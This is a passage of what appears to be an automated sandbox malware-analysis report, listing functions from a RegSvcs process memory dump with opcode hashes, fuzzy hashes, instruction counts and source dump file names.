String ID:
API String ID:
Opcode ID: 6168c74df7881035f69970a17cdbc8bbd68c52d06f01b9a11dec5043249d3eba
Instruction ID: aa055c1037a52f6126552f5f4a91d1d261d748d8d78f9a8d909de038c27758a5
Opcode Fuzzy Hash: 6168c74df7881035f69970a17cdbc8bbd68c52d06f01b9a11dec5043249d3eba
Instruction Fuzzy Hash: F8F03A336116129BE3319A5EC884F17B7A8BFA5A61F59016AA608AB274C670EC029790

Uniqueness

Uniqueness Score: -1.00%

Function 014EC89D Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d21223c05c2c3b9c7e6529ec3404b8d1db542e148d59c751e5a3d1f9f0839099
Instruction ID: 9330640c8ad8451af9e6e24568ae2de36861a2c36d0fe8d1533b4617096ff3f3
Opcode Fuzzy Hash: d21223c05c2c3b9c7e6529ec3404b8d1db542e148d59c751e5a3d1f9f0839099
Instruction Fuzzy Hash: 67F08C706097049FC310EF29C945A1AB7E4FFA8710F85465EB898DB3A4E634EA01C796

Uniqueness

Uniqueness Score: -1.00%

Function 01490854 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cdcb84ab97496671339d5fdb647af6bc44589d2c26ee95e7ea7cdc637936955
Instruction ID: aff961414885518750df08aca769a428d9c8cca23bdf262806ab0d648d571800
Opcode Fuzzy Hash: 4cdcb84ab97496671339d5fdb647af6bc44589d2c26ee95e7ea7cdc637936955
Instruction Fuzzy Hash: D3F0B472610204AFE714DF26CC01F96BAEDEFA8750F148479A945DB270FAB0ED01C654

Uniqueness

Uniqueness Score: -1.00%

Function 014EC912 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 723c6de4449d10bcc2a7256cdfa47cdaab525c11aa0067743fbac7f57c2b6b90
Instruction ID: aec75e8c872a6ef6cdc91abebcdcfa715b9e3e032ef0da20a9f23c9cce421f3d
Opcode Fuzzy Hash: 723c6de4449d10bcc2a7256cdfa47cdaab525c11aa0067743fbac7f57c2b6b90
Instruction Fuzzy Hash: 1EF0C270A00209EFCB04EF69C555A9EBBF4FF28300F01805AB815EB395DA34EA01CB60

Uniqueness

Uniqueness Score: -1.00%

Function 014647FB Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a225eb9ef458fdae7c978a1a4c9ee1ae211d62539caf15aa472130b765509461
Instruction ID: f1b416f81e263ae845ba701f870912d1fdb31e2210c680c8f4decb3b1b2faac7
Opcode Fuzzy Hash: a225eb9ef458fdae7c978a1a4c9ee1ae211d62539caf15aa472130b765509461
Instruction Fuzzy Hash: BAF090399166D1DEEF33CB9CC044B62BBDC9B40B28F0C996BD54987632CB34D880C652

Uniqueness

Uniqueness Score: -1.00%

Function 01520115 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51aa17867d4405ab7486d1992de1810a75cab485f555b8229b1e2e169c6d88bd
Instruction ID: 092950a0c1f1b9822901b800ff420d45eb76be900fb7818b18eb65ec22e36359
Opcode Fuzzy Hash: 51aa17867d4405ab7486d1992de1810a75cab485f555b8229b1e2e169c6d88bd
Instruction Fuzzy Hash: A1F0277741B7D206DB735B2CAC602E92B74B782110F6A1485E8B15F289C7748487D320

Uniqueness

Uniqueness Score: -1.00%

Function 0149C5ED Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b74c514760b9768b1ea2403a0f8e917e731897f08f00a3a61ea890517c704d29
Instruction ID: 79ef1000d6a1ce233898fafb68f18692401635da757ca81f0aa19c0935a75600
Opcode Fuzzy Hash: b74c514760b9768b1ea2403a0f8e917e731897f08f00a3a61ea890517c704d29
Instruction Fuzzy Hash: 9BF0BE715116519FEB22965CC188B527FD4AB84BA0F089427D40A87672C270EC82CAD1

Uniqueness

Uniqueness Score: -1.00%

Function 014A2619 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c7572fa5744a55e43c142e8942155ae64e2404789e34097860efd8d5a2ca0e7
Instruction ID: 6dce550f4cf3fe9e17033434188d01779b9c6cea24e1eab5e5f165902e18a0f6
Opcode Fuzzy Hash: 6c7572fa5744a55e43c142e8942155ae64e2404789e34097860efd8d5a2ca0e7
Instruction Fuzzy Hash: 95E092723416012BE7119E5A8C80F47776E9FB6B10F45047EB6045E261C9F29D0982A4

Uniqueness

Uniqueness Score: -1.00%

Function 014F6030 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f21787fc4cf88bc2024fb188b518997cea13084236808dfde9be923dffdf6d3
Instruction ID: bf48d9e00438449c946693c8596777b826f2f83ec19a046d4d4ae741f53ba3a8
Opcode Fuzzy Hash: 2f21787fc4cf88bc2024fb188b518997cea13084236808dfde9be923dffdf6d3
Instruction Fuzzy Hash: 6DF01CB21042049FE3218F09D944F52B7B8EB15364F56C42AE7099B661D37AEC40CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 01460710 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09d204908d37cdfbcfc5d4a721560e7c3d6986de64c378e18d154b12347e5c6c
Instruction ID: 563cdcd9f69252faaec0a276131574eba3e47a998f39e84a999b1446ce635c59
Opcode Fuzzy Hash: 09d204908d37cdfbcfc5d4a721560e7c3d6986de64c378e18d154b12347e5c6c
Instruction Fuzzy Hash: FAF02B39204341DFEB1ACF19D050AD57BE8FB91364F0000A6FC428B321D735E982CB92

Uniqueness

Uniqueness Score: -1.00%

Function 014949D0 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1b670d1cf9650df618e53f56da6216e466ca8c332a8d3f17e7fbf4f9511b07c
Instruction ID: 31bd0c1aa16e802a1a4a24bc498dafd4b9b54ddf574e78cb6a9ba7aaa68c62b8
Opcode Fuzzy Hash: f1b670d1cf9650df618e53f56da6216e466ca8c332a8d3f17e7fbf4f9511b07c
Instruction Fuzzy Hash: 4CE0D832244145ABDB211A59C900B677FA9DBE27B0F19042BE2009B270DB78DC43C7D8

Uniqueness

Uniqueness Score: -1.00%

Function 01534164 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebd36c05cd02be5c89d341cc247659bac93a56c463e5fd18fb249e1f99a8ed32
Instruction ID: 6b477c967826ac9a909e6cdf60b69b4f3a60f917b6e11815f2e2f305f0ec3637
Opcode Fuzzy Hash: ebd36c05cd02be5c89d341cc247659bac93a56c463e5fd18fb249e1f99a8ed32
Instruction Fuzzy Hash: C8F06531A35E914FE772D76CD544B5D77E4BF94A30F1A4595D4058F922C734DC80C690

Uniqueness

Uniqueness Score: -1.00%

Function 0150678E Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c57e87189bc66aa7caf2535f5315d36853ca328742cb6eaba8c93c68780cd6a
Instruction ID: ee0aaf694efaa6ec198aa9b2518e56538859a3667ecb772b042607e2943b7c0f
Opcode Fuzzy Hash: 9c57e87189bc66aa7caf2535f5315d36853ca328742cb6eaba8c93c68780cd6a
Instruction Fuzzy Hash: 29E0DF32A00110BBDB22979A8E11F9ABEACEBA0EA0F050059B600EB0E0E530DE00C690

Uniqueness

Uniqueness Score: -1.00%

Function 015308C0 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6a5ad91a7d0f1a4d9806dabaf8f22ecb250b1deeb68cfbfcde1a852261f70b4
Instruction ID: c2800569204c92f1827947a528bdb5affa1f85eeba47cbf0bb21b8d0feae8ebe
Opcode Fuzzy Hash: c6a5ad91a7d0f1a4d9806dabaf8f22ecb250b1deeb68cfbfcde1a852261f70b4
Instruction Fuzzy Hash: 9AE09B316407508BCB258E5DD140A57F7E8FFD5660F158469E9054B653C231F852C6E0

Uniqueness

Uniqueness Score: -1.00%

Function 014625E0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 64c672e48f14c2d0c6303d1cbc6d7ccd6172589755a509d0aa231819127c32f3
Instruction ID: 0f8367fa2275d49cd61b7a4d1d56fb12533cdfa0877824e3fdee0084d878b860
Opcode Fuzzy Hash: 64c672e48f14c2d0c6303d1cbc6d7ccd6172589755a509d0aa231819127c32f3
Instruction Fuzzy Hash: E0E09232100694ABC721BF2ADD01F8A779AEB70364F01451AB116571A0CA70AD10D794

Uniqueness

Uniqueness Score: -1.00%

Function 0151A456 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c3962ef014767a9d047a1ce435ecdb8fc5cd5a05dfca32f291fec24eb47eca0
Instruction ID: c2b2b39134c77c707125cdcf17fd66cc9b923ae7a93e1976b03c6b09418fc248
Opcode Fuzzy Hash: 1c3962ef014767a9d047a1ce435ecdb8fc5cd5a05dfca32f291fec24eb47eca0
Instruction Fuzzy Hash: 86E09231051651DFF7336F2BC848B96BAE0BFA0711F148C2EA19A164B0C7B498C0DA40

Uniqueness

Uniqueness Score: -1.00%

Function 014E4000 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d217a6aac874400d2fdd0dd0cc4ad7a97c57c110d53f39d941a96e3fabb04b1b
Instruction ID: ca49aa9da61b2dd0d3d666d679946ff504970e0134633a0e61ac43e0919928a5
Opcode Fuzzy Hash: d217a6aac874400d2fdd0dd0cc4ad7a97c57c110d53f39d941a96e3fabb04b1b
Instruction Fuzzy Hash: B5E0AE743002058BE715CF19C044B627BA6BFD5A11F28C079A9488F705EB32A8428A40

Uniqueness

Uniqueness Score: -1.00%

Function 0149CA38 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50764314970ddf0fb0f2bdf924fe0b4c6c9f0b74bec9cc1399f3879fa4fcbc82
Instruction ID: a3724e03d3c916597575e287f586d2d64698e93ee1eefafba06981c988e7d8ab
Opcode Fuzzy Hash: 50764314970ddf0fb0f2bdf924fe0b4c6c9f0b74bec9cc1399f3879fa4fcbc82
Instruction Fuzzy Hash: 1AD02B324810606ACF35F2197D44FEB3E5DAB60270F024C63F10896030D57CCC8192C4

Uniqueness

Uniqueness Score: -1.00%

Function 0145823B Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b708af5a461c1f99ac8d3b2cba32ed51933f6cdd1bf79975374bbcdf42faac7
Instruction ID: e330e64370211d2dbd9841a391945e83cf6b2665812be387d7c88d4ddcc4e3d8
Opcode Fuzzy Hash: 2b708af5a461c1f99ac8d3b2cba32ed51933f6cdd1bf79975374bbcdf42faac7
Instruction Fuzzy Hash: 28E08631504512DFD7312F17DC00F527AA1FB74B50F11481FF441054758AB05882DA55

Uniqueness

Uniqueness Score: -1.00%

Function 01462050 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f1140632b19822841138cc6308c0c5fd97e955da7ce9642542707fbcd3b3ad2
Instruction ID: b07245ec38a27840b98f84283a0f4a26c6518ea45d2007304cd014719a6cf110
Opcode Fuzzy Hash: 4f1140632b19822841138cc6308c0c5fd97e955da7ce9642542707fbcd3b3ad2
Instruction Fuzzy Hash: 4BE08C321005906BC721FA6EDD50E8A739EEBB4264F05022AB1558B2A0CA70AC00C7A5

Uniqueness

Uniqueness Score: -1.00%

Function 0149E59C Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7eba0efce7d9c3098aed64107f138979cd55621edccfcfde5a0f983e140fadca
Instruction ID: 83c0077cc0bc2f2c80b04d8312791da66087a606c45509036fd6d3ca55f5cba3
Opcode Fuzzy Hash: 7eba0efce7d9c3098aed64107f138979cd55621edccfcfde5a0f983e140fadca
Instruction Fuzzy Hash: F2D0A7331045105FD7329A1DFC00FC333D8BB58720F05045AB004C7160C370AC41C644

Uniqueness

Uniqueness Score: -1.00%

Function 014DE908 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e9bfb4306c29fdb1c5fce9039323a2740af754b7679fb8de59faa530781556d
Instruction ID: cad28a8eb5672bbbf751578060f2ea15d58065878165594b0f9c1ac3f3dd161a
Opcode Fuzzy Hash: 6e9bfb4306c29fdb1c5fce9039323a2740af754b7679fb8de59faa530781556d
Instruction Fuzzy Hash: 32E0EC369516849FDF22DF6AC650F5ABBF9BB94B40F550059A1086F671C634A900CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0145A0E3 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1fe28d2b99599f70fe9b16ebd98ffdfbd128d642cd65cc2bf81b3ea4870f6a7
Instruction ID: 3d40e9e39496b7e26b41d083d79db267990267fcb01a7f73718a236fd7e86cf4
Opcode Fuzzy Hash: c1fe28d2b99599f70fe9b16ebd98ffdfbd128d642cd65cc2bf81b3ea4870f6a7
Instruction Fuzzy Hash: FAD0223322203097DB285A666800FA37905AB80A90F2A012E780A93920C0248C43D2E0

Uniqueness

Uniqueness Score: -1.00%

Function 0149A830 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 950ff3e2fa24c389401d46e2ae40292d2d63fe10973766e9e1870c80e88d3a0a
Instruction ID: c11e8457ed1a5580f9fe9a1a491c8890776200296926f8be00510316b6238320
Opcode Fuzzy Hash: 950ff3e2fa24c389401d46e2ae40292d2d63fe10973766e9e1870c80e88d3a0a
Instruction Fuzzy Hash: 78D012371D054DBBDB219F66DC01F957BA9E764BA0F444021B504875A0C63AE950D584

Uniqueness

Uniqueness Score: -1.00%

Function 0149CA24 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d206c380ba6ef728919ed7ab07460a31a69a7729da59a9d5f7afb20c1a421845
Instruction ID: 86ed9ff09c633e2b2fcd0061e0dfa5eda17ffd9ac04f1a11470f7ffb6ded4e0d
Opcode Fuzzy Hash: d206c380ba6ef728919ed7ab07460a31a69a7729da59a9d5f7afb20c1a421845
Instruction Fuzzy Hash: 95D092356555529BEF2ADF59CAA0A7A7AB4EF24641B80007EE60196630E339D8029A90

Uniqueness

Uniqueness Score: -1.00%

Function 014702A0 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 153dea5617c300a23885095067624b68861a72d9651cf20dee72da6dc6a95444
Instruction ID: 226fc5b6db1ec40be34382494582456cc3eecbc6970613cecc841f53e042d223
Opcode Fuzzy Hash: 153dea5617c300a23885095067624b68861a72d9651cf20dee72da6dc6a95444
Instruction Fuzzy Hash: 24D0923A616A80CFD66A8B0CC5A4B5633A4BB45A44F850491E401CBB32E638D940CA00

Uniqueness

Uniqueness Score: -1.00%

Function 0149C700 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4bbd7c5c996c6314633515492723e329d7ccf5f4dcb798370ffde6045762c53
Instruction ID: 893b8dd11c1c459da3fb4ae522bb7c0b7f499e3bbfb7cf643e22aec0fbd4eff9
Opcode Fuzzy Hash: a4bbd7c5c996c6314633515492723e329d7ccf5f4dcb798370ffde6045762c53
Instruction Fuzzy Hash: 8DC08033150644AFD711DF95CD01F4177A9F7A8B40F000021F30447570C531FC10E644

Uniqueness

Uniqueness Score: -1.00%

Function 01480310 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b20a69916aee968c3675073d0381efa581de60bf3984a7ac555cf611b84c4bee
Instruction ID: f3f17bf2bef5f65f6f13f8b2f9f5e39d4428f25bf33fdff9034013322e013e72
Opcode Fuzzy Hash: b20a69916aee968c3675073d0381efa581de60bf3984a7ac555cf611b84c4bee
Instruction Fuzzy Hash: DED01236110248EFCB02EF45D890D9E772AFBD8710F108019FD19076108A31ED62DA50

Uniqueness

Uniqueness Score: -1.00%

Function 01460750 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8541d5aa43a0a658d79fe6471d8132b1696e53b2ec5469e0c5791f15c56add93
Instruction ID: 15c294bef84c62b2b4f042c0d421796c333c48ec4eaeea12ac7812151c78ae24
Opcode Fuzzy Hash: 8541d5aa43a0a658d79fe6471d8132b1696e53b2ec5469e0c5791f15c56add93
Instruction Fuzzy Hash: 5CC00179601A428BDF16DA2AD294A8A77E4BB94740F150891E8099BB22E624E802DA21

Uniqueness

Uniqueness Score: -1.00%

Function 014A4340 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2332f6068ba84981fb915f087adb019cb5df7a462cd4de3ec47f0541a5374e5c
Instruction ID: d67ffa8dfd8854f41d55eb65ac1f9f8a573581fe422dcd47c6bcf626a0bb27a6
Opcode Fuzzy Hash: 2332f6068ba84981fb915f087adb019cb5df7a462cd4de3ec47f0541a5374e5c
Instruction Fuzzy Hash: 3A90023160580112914071584CC45864009A7F4301B55C012E0425555CCB248A565771

Uniqueness

Uniqueness Score: -1.00%

Function 014A4650 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28af359866460ac474421fa3cb7f8b64128b2ac99223464a2d464169454e1b95
Instruction ID: 6368fdfee4bc5d4bf4fb20d53742efdb37d9cb04b396660b9ef17074947bacef
Opcode Fuzzy Hash: 28af359866460ac474421fa3cb7f8b64128b2ac99223464a2d464169454e1b95
Instruction Fuzzy Hash: E490026160150142414071584C444466009A7F5301395C116A0555561CC72889559779

Uniqueness

Uniqueness Score: -1.00%

Function 014A2BE0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a158cf215fcc69ea7955b47715b1bed10aba7ae87dbb442e803d301b56907fde
Instruction ID: d4dcabfcb4deb37e3ec7fafd1fbd9009c4c01ef855ec7457684bc2a90452686b
Opcode Fuzzy Hash: a158cf215fcc69ea7955b47715b1bed10aba7ae87dbb442e803d301b56907fde
Instruction Fuzzy Hash: D590023120544942D14071584844A86001997E4305F55C012A0065695DD7358E55BB71

Uniqueness

Uniqueness Score: -1.00%

Function 014A2BF0 Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab291a0cb142dd9cf5f1902c3c34521872a0721bd99a00301a9bd6d557cc78e4
Instruction ID: 527cfe719914b536bad162d812db3c2a6aa4437425e4f7f39812f8131e50b723
Opcode Fuzzy Hash: ab291a0cb142dd9cf5f1902c3c34521872a0721bd99a00301a9bd6d557cc78e4
Instruction Fuzzy Hash: F490023120140902D1807158484468A000997E5301F95C016A0026655DCB258B597BB1

Uniqueness

Uniqueness Score: -1.00%

Function 014A2B80 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b7e0b78305074638ea25549d8d75033566727d002710ce1ea0272c0933f6697
Instruction ID: 3a9dc3b72bc4b10c9f69467f31dca94c82d52e499fc73dd7282d6fba5e06967e
Opcode Fuzzy Hash: 1b7e0b78305074638ea25549d8d75033566727d002710ce1ea0272c0933f6697
Instruction Fuzzy Hash: FA90023120140902D10471584C446C6000997E4301F55C012A6025656ED77589917631

Uniqueness

Uniqueness Score: -1.00%

Function 014A2BA0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a294543268db909fea9c659124219223830bc3fd832f68d0b783cf94dbf5883
Instruction ID: 9b9fe3da5e6afe599706d70c652b4cb12ac064f475b6be101a1ccdf63cd0c931
Opcode Fuzzy Hash: 2a294543268db909fea9c659124219223830bc3fd832f68d0b783cf94dbf5883
Instruction Fuzzy Hash: 9890023160540902D15071584854786000997E4301F55C012A0025655DC7658B557BB1

Uniqueness

Uniqueness Score: -1.00%

Function 014A2AD0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1430000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3702911b316ac6be3cb9c58eb77110c2b294f13867de2a8dd3b3f3a52cf4d898
Instruction ID: ef1594cdc0029d5175007cd9cfeaf8e6e129b01a3e3a4db3733c2bbaf449df62
Opcode Fuzzy Hash: 3702911b316ac6be3cb9c58eb77110c2b294f13867de2a8dd3b3f3a52cf4d898
Instruction Fuzzy Hash: 59900225211401030105B5580B44547004A97E9351355C022F1016551CD73189615631

Uniqueness

Uniqueness Score: -1.00%

Function 014A2AF0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1351485811.0000000001430000.00000040.00001000.00020000.00000000.sdmp, Offset: 01430000, based on PE: true

Joe Sandbox IDA Plugin

